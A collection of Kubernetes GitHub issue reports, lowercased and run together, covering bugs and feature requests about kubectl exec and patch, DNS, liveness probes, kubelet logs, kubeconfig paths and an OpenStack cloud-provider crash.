/home/decarr/go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/controller/replication/replication_controller.go:247 +0x1ea      /cc @lavalamp @deads2k

i'm building some management containers for our pg clusters.  testing health requires the ability \r to execute commands remotely on the single container in the pod.  i'm using using this command from kubectl as a template.  \r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/exec.go\r \r however, when making the request via client.coreclient.getrestclient  .post   there is currently no mechanism for upgrading the request.  as a result, i always receive the response \ upgrade request required\ .  are there any plans to port this wrapper to the new client?\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/client/unversioned/remotecommand/remotecommand.go\r \r

refer https://github.com/googlecloudplatform/kubernetes/issues/3681  configure bind-to addresses for each daemon based on --nic config rather than an ip.currently --public_address_override and defaultnet have to be set bind address.

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r head\r \r   environment  : may have nothing to do with env\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r  kubectl patch node 192.168.1.220 --type='json' -p=' {\ op\ : \ add\ , \ path\ : \ /status/capacity/pod.alpha.kubernetes.io~1opaque-int-resource-bananas\ , \ value\ : \ 555\ } ' \r \r this command doesn't take effect. the result is  node \ 192.168.1.220\  not patched \r \r   what you expected to happen  :\r the oir has been patched to the node capacity.\r \r   how to reproduce it    as minimally and precisely as possible :\r exec above command.\r \r   anything else we need to know  :\r ref https://github.com/kubernetes/kubernetes/issues/41861 issuecomment-292668454\r \r below two ways work:\r    \r curl --header \ content-type:application/json-patch+json\  \\\r --request patch \\\r --data ' {\ op\ : \ add\ , \ path\ : \ /status/capacity/pod.alpha.kubernetes.io~1opaque-int-resource-bananas\ , \ value\ : \ 555\ } ' \\\r http://192.168.1.225:8080/api/v1/nodes/192.168.1.220/status\r    \r \r    \r echo ' {\ op\ : \ add\ , \ path\ : \ /status/capacity/pod.alpha.kubernetes.io~1opaque-int-resource-bananas\ , \ value\ : \ 555\ } ' | \\\r http patch http://localhost:8080/api/v1/nodes/192.168.1.220/status \\\r content-type:application/json-patch+json\r

once https://github.com/kubernetes/kubernetes/issues/45277 is resolved  before the end of 1.7 , the  kube-apiextensions-server  will be embedded into the  kube-apiserver  so this is only temporary.\r \r 1.  run  hack/local-up-cluster.sh  - this gets the  kube-apiserver   with aggregator  ready and available\r 1.  make what=vendor/k8s.io/kube-apiextensions-server/ && vendor/k8s.io/kube-apiextensions-server/hack/build-image.sh  - this creates the image for the  kube-apiextensions-server  since it isn't published.\r 1.  export kubeconfig=/var/run/kubernetes/admin.kubeconfig  - give yourself cluster-admin powers\r 1.  kubectl create ns kube-apiextensions  - creates a namespace for the  kube-apiextensions-server  pod\r 1.  kubectl create -f vendor/k8s.io/kube-apiextensions-server/artifacts/example/  - creates the resources  permissions, rc, service, apiservice, etc  for the  kube-apiextensions-server .  this won't be necessary once we're embedded.\r 1.  kubectl create -f vendor/k8s.io/kube-apiextensions-server/artifacts/customresource-01/noxu-resource-definition.yaml  - create a  customresource definition\r 1.  kubectl create -f vendor/k8s.io/kube-apiextensions-server/artifacts/customresource-01/noxu-apiservice.yaml  - create the  apiservice  for  mygroup.example.com .  this won't be necessary once we're embedded.\r 1.  kubectl get noxus  - proof that the resource type exists\r 1.  kubectl create -f vendor/k8s.io/kube-apiextensions-server/artifacts/customresource-01/noxu.yaml  - create an instance.\r 1.  kubectl get noxus  - proof that the resource instance exists\r \r \r @enisoc this is a way for you to install the server and experiment with an in progress implementation to plan the detailed migration path.\r @kubernetes/sig-api-machinery-misc for anyone wanting to play with it early.  many pieces are not complete, but basic crud runs.

\r \r k8s version:\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t19:06:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.2\ , gitcommit:\ 922a86cfcd65915a9b2f69f3f193b8907d741d9c\ , gittreestate:\ clean\ , builddate:\ 2017-07-21t08:08:00z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r busybox container resolv.conf\r    \r ⇒  kubectl exec busybox cat /etc/resolv.conf\r nameserver 10.0.0.2\r search default.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r    \r \r nslookup kubernetes\r    \r ⇒  kubectl exec busybox nslookup kubernetes\r server:    10.0.0.2\r address 1: 10.0.0.2 kube-dns.kube-system.svc.cluster.local\r \r name:      kubernetes\r address 1: 218.205.57.154\r    \r nslookup kubernetes.default.svc.cluster.local\r \r    \r server:    10.0.0.2\r address 1: 10.0.0.2 kube-dns.kube-system.svc.cluster.local\r \r name:      kubernetes.default.svc.cluster.local\r address 1: 10.0.0.1 kubernetes.default.svc.cluster.local\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r >  \r  \r \r   what happened  :\r i can only define  livenessprobe  with one  httpget , but sometimes i need to check multiple ports to make sure my app is running, so it is better enable  livenessprobe  can support multiple  httpget .\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   labels:\r     test: liveness\r   name: liveness-http\r spec:\r   containers:\r   - name: liveness\r     image: gcr.io/google_containers/liveness\r     args:\r     - /server\r     livenessprobe:\r       httpget:\r         path: /healthz\r         port: 8080\r         httpheaders:\r         - name: x-custom-header\r           value: awesome\r       initialdelayseconds: 3\r       periodseconds: 3\r    \r \r i know that i can call the cmd of  curl url1 && curl url2 && curl url3  to check the liveness of my app, but i cannot guarantee that there always have  curl  in the container.\r \r  \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r no failedpoststarthook error message after upgrade to 1.7.8\r when we use 1.6.3 , we can get message like   error syncing pod, skipping: failed to \ startcontainer\  for \ xxxx\  with poststart handler: command '/xxxxxx' exited with 1: hook do errexit, this is stderr : \ poststart hook failed\  from event, but after upgrade to 1.7.8 ,the failedpoststarthook event  always have no message \r \r   what you expected to happen  :\r we need the message to find out the poststarthook failed reason\r \r   how to reproduce it  as minimally and precisely as possible   :\r use poststarthook and fail it\r \r   anything else we need to know?  :\r \r https://github.com/kubernetes/kubernetes/commit/a02f10fa3a956a2fc1fe0328f58b7b1cea548264\r pkg/kubelet/kuberuntime/kuberuntime_container.go\r line 123 ,dont delete it \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:54:19z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.8\ , gitcommit:\ bc6162cc70b4a39a7f39391564e0dd0be60b39e9\ , gittreestate:\ clean\ , builddate:\ 2017-10-05t06:35:40z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :centos linux 7  core \r - kernel  e.g.  uname -a  :4.13.7-1.el7.elrepo.x86_64\r - install tools:\r - others:\r

in following with history we will be curating action items here, but it's still a wip, atm: https://github.com/kubernetes/kubeadm/milestone/5 \r \r all non-bug-fixes for this release cycle should be merged, but there is still an ongoing list of bugs that folks may execute against for the remainder of the freeze and we will evaluating on a case-by-case basis.\r \r /cc @detiber @jdumars @roberthbailey @kubernetes/kubernetes-release-managers @luxas @kubernetes/sig-cluster-lifecycle-misc

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r pr https://github.com/kubernetes/kubernetes/pull/63328 introduced a new kubelet plugin registration mechanism. it is not flag gated.\r \r   what you expected to happen  :\r  since this feature is alpha, it should be flag gated and disabled by default  opt-in .\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r cc @renaudwastaken @jiayingz @vishh @vladimirvivien @sbezverk @figo

the majority of kube binaries print usage when certain invalid arguments are presented.  unfortunately, most of our binaries have > 2 pages of usage output, and the result of printing that is a very confusing and context disrupting action.\r \r in general, cli commands try to minimize their output - for example:\r \r    \r $ grep --blarg\r grep: unrecognized option  --blarg'\r usage: grep  -abcdefghhiijllmnooqrssuvvwxz   -a num   -b num   -c num  \r \t -e pattern   -f file   --binary-files=value   --color=when \r \t --context =num    --directories=action   --label   --line-buffered \r \t --null   pattern   file ... \r    \r \r    \r ls --foo\r ls: illegal option -- -\r usage: ls  -abcfghloprstuwabcdefghiklmnopqrstuwx1   file ... \r    \r \r both print their minimal sets.  obviously, as commands grow the number of flags some of the short options become a bit silly  yes, congratulations, you have the entire alphabet of flags  and convey less useful information to a user.\r \r when errors are printed we also end up printing the error both above and below the command  in at least kubectl, kubelet, kube-apiserver, and controller-manager .  i'm not even sure this was intentional, but coincidentally we print the errors twice and so it's both before and after the usage.\r \r error feedback needs to minimize the amount of extraneous information presented to users for maximum clarity.  three are broadly four classes of help and error output:\r \r 1. a user explicitly requests help via  --help  or  -h \r 2. a user provides an input that is not recognized  flag, command, or argument  and we can unambiguously know provided invalid input.  user needs to change the input.\r 3. the user provides inputs that don't work well together or have conflicting meaning.  user needs to change the input.\r 4. the user provided inputs that result in a runtime error, but that error can't be resolved by changing the input of the command.\r \r recommended changes:\r \r 1. since our command and flag sets are so long, i don't think there is value in printing the full usage info in 2 and 3.  instead, i think we should print a minimal \ usage: run \ command foo --help\  to see usage info\  message after printing the error.\r 2. we should stop printing error output twice  once as  error:   and once as  error:     in 2-4 and print as  error:   or  error:    the former is more consistent with posix guidelines .\r 3. we still need to clean up output.

found while working on https://github.com/kubernetes/kubernetes/pull/74877\r \r as part of switching from godep to go modules, i renamed the verify-godeps.sh script to verify-vendor.sh\r \r ci was green, so i assumed all was well, until i realized that ci was  actually calling  https://github.com/kubernetes/test-infra/blob/master/config/jobs/kubernetes/sig-testing/godeps.yaml l18-l31   make verify what=godeps , and  make verify  passes if the what target cannot be located.\r \r  make verify  should fail if an unknown target is specified, or jobs that think they are testing things could have typos or be testing nonexistent verify scripts.\r \r 

if in pv/pvc file is specified  \ storage\ : \ 5gi\  it will create pv of 5 gb size and oc get pv output will be  pvol-5087a6e7   5gi        rwo           bound     clusterproject0/pclaimvol-5087a6e7             52s  however, if one specify  \ storage\  :\ 5\   then output of oc get pv will be  name            capacity   accessmodes   status    claim                                reason    age pvol-f88aab4f   5          rwo           bound     clusterproject0/pclaimvol-f88aab4f             30s  where unit for capacity in later case will not be visible.  this will work as long as pv claim is not bigger than pv size  if one specify in pv/pvc files eg, in pv file : \ storage\  : \ 5\  and in pvc \ storage\  : \ 100\    pv claim will not be able to bound to volume  as it is not clear what actually \ 100\  is - 100 gi, or 100mi ,...or some other unit

experiencing this right now:      $ kubectl attach mongo-controller-xxxxx error from server: no ssh tunnels currently open. were the targets able to accept an ssh-key for user \ gke-xxxxxxxxxxxxxxxxxxxx\ ?      what is this caused by?

kubernetes version  :  client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }     environment  : -   cloud provider or hardware configuration  : gke -   os    e.g. from /etc/os-release : debian 8 -   kernel    e.g.  uname -a  : linux 5ab86176e0e5 3.13.0-88-generic  135-ubuntu smp wed jun 8 21:10:42 utc 2016 x86_64 gnu/linux    what happened  : after successfully authenticating with a service account on  gcloud  using:       gcloud auth activate-service-account $google_auth_email --key-file /keyconfig.json --project $google_project_id      the cluster credentials were downloaded using:      gcloud container clusters get-credentials $cluster_name      even tho no errors are raised, when attempting to run  kubectl version  i get this error:      kubectl version client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.3\ , gitcommit:\ c6411395e09da356c608896d3d9725acab821418\ , gittreestate:\ clean\ , builddate:\ 2016-07-22t20:29:38z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ } error: google: could not find default credentials. see https://developers.google.com/accounts/docs/application-default-credentials for more information.        what you expected to happen  : kubectl should be configured to use the cluster properly    how to reproduce it    as minimally and precisely as possible : - authenticate with a service account on gcloud - get credentials from a cluster through gcloud - run any kubectl command that reaches the server    anything else do we need to know  : after looking into the configuration environment i observed the user is not properly configured on  .kube/config :      kubectl config view apiversion: v1 clusters: - cluster:     certificate-authority-data: redacted     server: redacted   name: gke_cluster_name contexts: - context:     cluster:  gke_cluster_name     user: gke_cluster_name   name:  gke_cluster_name current-context:  gke_cluster_namel kind: config preferences: {} users: - name:  gke_cluster_name   user:     auth-provider:       config: null       name: gcp      after looking in the gcloud docs, i found this instruction:       export google_application_credentials=\ /path/to/keyfile.json\       after exporting the variable and running  get-credentials  once again, running  kubectl version  worked, and then running  kubectl config view  correctly displayed the user as authenticated      ... users: - name: gke_cluster_name   user:     auth-provider:       config:         access-token: redacted         expiry: 2016-08-15t12:30:18.220399721z       name: gcp      note that this workflow was running perfectly in the past. my guess is that kubectl is no longer correctly detecting the gcloud service account that is authenticated. it's only looking for the environment variable. either way, something seems broken :

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gke-staging-parallel/11189/  failed:  k8s.io  kubectl client  k8s.io  kubectl patch should add annotations for pods in rc  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:871 nov  7 17:17:59.231: verified 0 of 1 pods , error : timed out waiting for the condition /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:202       previous issues for this test:  26126  30653

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-slow/692/  failed:  k8s.io  esipp  slow  should work for type=nodeport {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:1267 dec  8 09:54:37.422: could not reach http service through 35.184.78.170:32194/clientip after 5m0s: <nil> /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service.go:2484

we should remove the boolean and enable garbage collection by default for replica sets and replication controllers.\r https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/replicaset/replica_set.go\r \r i think from my previous pr when setting up controllerref for replicaset , we came across this.\r \r if you agree @caesarxuchao @kargakis i can fix this. please assign this issue to me.

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r kubernetes pod logs are not linked to the respective docker container log file.\r kubectl logs -f <pod-name> throws \ no such file or directory\  error\r \r   what you expected to happen  :\r even after the kubelet restart, \ kubectl logs -f <pod-name>\   should show the logs\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. restart kubelet service without restarting docker service\r 2. kubectl logs -f <pod-name>\r \r note - restarting the docker.service fixes the issue temporarily. \r \r   anything else we need to know?  :\r docker inspect <container-id> gives the pod-log file details which is not linked to the container log mentioned in the inspect output\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.6.6\r - cloud provider or hardware configuration  : aws\r - os  e.g. from /etc/os-release : coreos 1409.6.0\r - kernel  e.g.  uname -a  :  x86_64 intel r  xeon r  cpu e5-2666 v3 @ 2.90ghz genuineintel gnu/linux\r - docker version : 1.12.6\r \r

once a kubelet has created a node object for itself via registration, if the  --node-labels  flag ever changes the labels aren't updated.  i see the labels being set into the objectmeta in the init code, but i don't see the server being updated  external id hasn't changed .\r \r recreate:\r \r 1. start kubelet with no --node-labels, wait for it to register\r 2. update kubelet to start with  --node-labels a=b \r \r expect:\r \r 1. api object for node to have labels  a=b \r \r actual:\r \r 1. api object labels don't change until node object is deleted\r \r i don't see any obvious place where this has been broken, but it looks like the patch calculated by nodeutil is only the conditions.

is this a bug report or feature request?  :\r \r  \r   what happened  :\r    \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal 0xc0000005 code=0x0 addr=0x0 pc=0x1468b05 \r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd.runrun 0x23bffc0, 0xc04273a2a0, 0x2395160, 0xc042004010, 0x23951a0, 0xc042004018, 0x23951a0, 0xc042004020, 0xc0426d6280, 0xc042235100, ... \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/run.go:328 +0x10b5\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdrun.func1 0xc0426d6280, 0xc042235100, 0x2, 0x4 \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/run.go:105 +0x14b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc0426d6280, 0xc042235080, 0x4, 0x4, 0xc0426d6280, 0xc042235080 \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:757 +0x2c8\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc04242f180, 0xc042821ed8, 0xc042821ee0, 0x12a05f200 \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:843 +0x33b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc04242f180, 0x192dfb8, 0x255ff20 \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:791 +0x32\r main.main  \r         /workspace/anago-v1.10.0-rc.1.9+fc32d2f3698e36/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:50 +0x19d\r    \r \r   what you expected to happen  :\r if the syntax of my command is invalid, it should tell me what i did wrong. in this case, i think the command has too many arguments?\r \r   how to reproduce it  as minimally and precisely as possible   :\r  kubectl run -it bar --image=busybox env \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r $ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:55:54z\ , goversion:\ g\r o1.9.3\ , compiler:\ gc\ , platform:\ windows/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ g\r o1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r    \r $ minikube version\r minikube version: v0.27.0\r    \r \r - os  e.g. from /etc/os-release : windows 7  x64 \r

is this a bug report or feature request?  :\r  \r   what happened  :\r csi rbd driver that implements block volume feature doesn't work well\r \r   what you expected to happen  :\r csi rbd driver that implements block volume feature works well\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy  csi rbd  https://github.com/mkimuram/ceph-csi/commit/7f0af394bd5b32374477b05a1682978ebe33b449  driver that implement block volume feature, and attach block volume to pod.\r \r   anything else we need to know?  :\r  \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1173+a6eb49f0dc9a6d\ , gitcommit:\ a6eb49f0dc9a6d9fecf7ff4a8edeaa382b55ac50\ , gittreestate:\ clean\ , builddate:\ 2018-09-07t20:53:12z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13+\ , gitversion:\ v1.13.0-alpha.0.1173+a6eb49f0dc9a6d\ , gitcommit:\ a6eb49f0dc9a6d9fecf7ff4a8edeaa382b55ac50\ , gittreestate:\ clean\ , builddate:\ 2018-09-07t20:53:12z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r

https://testgrid.k8s.io/sig-scalability-gce gci-gce-scalability\r \r resourceconstraints is the biggest contributor.

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r currently  kubectl  is looking for kubeconfig in user home directory  relative path  but it would be great if  kubectl  supports a global path  absolute path  e,g  /etc/kubernetes/kubeconfig.yaml .\r \r \r   why is this needed  :\r i have a kubernetes cluster that is being shared between multiple people. all of them have different linux users but want to access the k8s clsuter with same kubernetes  admin  user or just say i am running  api-server  on custom port. if the given feature was available i can simply put the file at a shared path and everything works out of box. \r \r one possible solution is using  $kubeconfig  but if commands are not processed via  shell  https://docs.ansible.com/ansible/latest/modules/command_module.html  there is no clean way other than using  --kubeconfig  with every command. may be i am missing something but it would be great if we can have absolute path support.

there seems to be some major gap in the adoption process of cli features.  i do not follow sigs or kubernetes prs closely, which puts me in the same category as 99.9% of your users. one of the nice outcomes of the k8s alpha/beta/ga graduation is that users have the ability to try and comment on features before they become ga and they don't need to track the development of k8s or be a member of sigs.\r \r i've seen some references that kustomize had some disagreements or discusses around why it was merged.  i don't know what that was and really don't care.  what i don't particularly like in this case is that k8s developers have graduated a component and integrated it in k8s without any proper way for users to give feedback before being declared ga.\r \r features shouldn't just land in cli without going through some graduation.

a non-trivial amount of cpu and memory is still spent  de serializing metrics data. we should investigate sending the data via protobuf, or at least using a faster  i.e. generated  json library. this would be a performance win both in the kubelet and heapster.

i'm not sure what the ideal behaviour is, but at the very least we should give better error messages. currently the following operations give a variation of a 404:      $ kubectl logs --namespace=kube-system kube-scheduler-k8s-stclair-master error from server: the server could not find the requested resource   pods/log kube-scheduler-k8s-stclair-master   $ kubectl attach --namespace=kube-system kube-scheduler-k8s-stclair-master error: unable to upgrade connection: 404 page not found  $ kubectl attach -t --namespace=kube-system kube-scheduler-k8s-stclair-master unable to use a tty - container kube-scheduler doesn't allocate one error: unable to upgrade connection: 404 page not found  $ kubectl exec -i -t --namespace=kube-system kube-scheduler-k8s-stclair-master -- /bin/sh error: unable to upgrade connection: 404 page not found      however,  kubectl get pod  and  kubectl describe pod  _do_ work for the master pods.  this appears to also affect single-node clusters  see http://stackoverflow.com/q/37138714/1837431 .  /cc @kubernetes/sig-node @kubernetes/sig-api-machinery

when trying to disable the legacy docker registry api to conform with the cis hardening benchmark for docker  https://benchmarks.cisecurity.org/tools2/docker/cis_docker_1.11.0_benchmark_v1.0.0.pdf  i noticed that the podmaster has not had a version pushed for the v2 api.  this means i can not turn off the legacy api access.    any chance can get the podmaster pushed to take advantage of v2?  this is similar to  16968.

i have a customer who is using kubelet on a machine with iptables configured for default deny.  when running with plain docker, it will configure any hostport mapping to accept.   kubelet does not.  worse, docker does not seem to handle this when running in host-network, but it probably should.  so this idea: kubelet could/should enable  <pod-id>:<ports>  and  <node-ip>:<host-ports  for accept.  danger: does this expose people who previously were not exposed?  @kubernetes/sig-network  @kubernetes/sig-node for cri

is this a request for help?  if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. :\r no\r \r what keywords did you search in kubernetes issues before filing this one?  if you have found any duplicates, you should instead reply there. :\r kubernetes, openstack, cloud-config, loadbalancer\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r \r   kubernetes version    use  kubectl version  :\r    \r stack@kube-2:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:42:39z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r   environment  :\r -   cloud provider or hardware configuration  : \r vm\r \r -   os    e.g. from /etc/os-release : \r ubuntu 16.04\r \r -   kernel    e.g.  uname -a  : \r    \r stack@kube-2:~$ uname -a\r linux kube-2 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux\r    \r -   install tools  :\r installed k8s cluster using kubeadm\r \r -   others  :\r i am trying to use openstack's load balancer as an external load balancer for k8s services type:loadbalancer . currently my setup is as follows:\r one node k8s cluster installed on a vm with ubuntu 16.04. i have another node where devstack is installed. i have the following details in the cloud config file:\r    \r  global \r auth-url=http://10.10.40.152/identity_admin\r username=admin\r password=password\r tenant-name=admin\r region=regionone\r    \r i have updated the kube-controller-manager.json and kube-apiserver.json with the following configuration:\r \ --cloud-provider=openstack\ ,\r \ --cloud-config=/etc/sysconfig/kube_openstack_config\ ,\r \r   what happened  :\r as soon as i updated the above config files, kube-controller-manager container crashes.\r \r   what you expected to happen  :\r kube-controller-manager is supposed to read the cloud config file and listen to kubernetes api calls and create load balancer on openstack.\r \r   how to reproduce it    as minimally and precisely as possible :\r update the above files with cloud-provider and cloud-config options.\r \r   anything else do we need to know  :\r the k8s cluster is not running inside openstack/devstack. one node runs k8s cluster and another node is running devstack.\r    \r stack@kube-2:~$ kubectl get pods --all-namespaces -o wide\r namespace     name                              ready     status             restarts   age       ip                node\r kube-system   calico-node-k9wsj                 2/2       running            0          1h        10.10.40.151      kube-2\r kube-system   calico-policy-controller-2snnc    1/1       running            0          1h        10.10.40.151      kube-2\r kube-system   dummy-2088944543-l5cmf            1/1       running            0          1h        10.10.40.151      kube-2\r kube-system   etcd-kube-2                       1/1       running            0          1h        10.10.40.151      kube-2\r kube-system   kube-apiserver-kube-2             1/1       running            2          1h        10.10.40.151      kube-2\r   kube-system   kube-controller-manager-kube-2    0/1       crashloopbackoff   28         3s        10.10.40.151      kube-2  \r kube-system   kube-discovery-1150918428-iwg0p   1/1       running            0          1h        10.10.40.151      kube-2\r kube-system   kube-dns-654381707-cv1f1          3/3       running            0          1h        192.168.212.198   kube-2\r kube-system   kube-proxy-32pls                  1/1       running            0          1h        10.10.40.151      kube-2\r kube-system   kube-scheduler-kube-2             1/1       running            0          1h        10.10.40.151      kube-2\r

